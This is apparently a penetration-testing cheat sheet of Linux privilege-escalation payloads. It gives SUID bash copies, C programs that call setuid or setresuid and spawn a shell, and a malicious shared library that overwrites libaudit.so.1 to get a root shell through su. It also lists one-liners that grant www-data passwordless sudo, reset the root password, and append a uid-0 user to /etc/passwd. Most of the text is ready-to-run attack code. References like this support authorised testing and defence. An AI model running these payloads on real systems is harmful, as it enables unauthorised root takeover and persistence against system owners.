Payloads to execute

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Bash

cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu

C

//gcc payload.c -o payload
int main(void){
    setresuid(0, 0, 0); //Set as user suid user
    system("/bin/sh");
    return 0;
}

//gcc payload.c -o payload
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main(){
    setuid(getuid());
    system("/bin/bash");
    return 0;
}

// Privesc to user id: 1000
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    char *const paramList[10] = {"/bin/bash", "-p", NULL};
    const int id = 1000;
    setresuid(id, id, id);
    execve(paramList[0], paramList, NULL);
    return 0;
}

Overwriting a file to escalate privileges

Common files

Add user with password to /etc/passwd
Change password inside /etc/shadow
Add user to sudoers in /etc/sudoers
Abuse docker through the docker socket, usually in /run/docker.sock or /var/run/docker.sock

Overwriting a library

Check a library used by some binary, in this case /bin/su:

ldd /bin/su
        linux-vdso.so.1 (0x00007ffef06e9000)
        libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
        libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
        libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
        libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)

In this case lets try to impersonate /lib/x86_64-linux-gnu/libaudit.so.1.
So, check for functions of this library used by the su binary:

objdump -T /bin/su | grep audit
0000000000000000      DF *UND*  0000000000000000              audit_open
0000000000000000      DF *UND*  0000000000000000              audit_log_user_message
0000000000000000      DF *UND*  0000000000000000              audit_log_acct_message
000000000020e968 g    DO .bss   0000000000000004  Base        audit_fd

The symbols audit_open, audit_log_acct_message, audit_log_acct_message and audit_fd are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit.

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c

int audit_open;
int audit_log_acct_message;
int audit_log_user_message;
int audit_fd;

void inject()__attribute__((constructor));

void inject()
{
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

Now, just calling /bin/su you will obtain a shell as root.

Scripts

Can you make root execute something?

www-data to sudoers

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

Change root password

echo "root:hacked" | chpasswd

Add new root user to /etc/passwd

echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd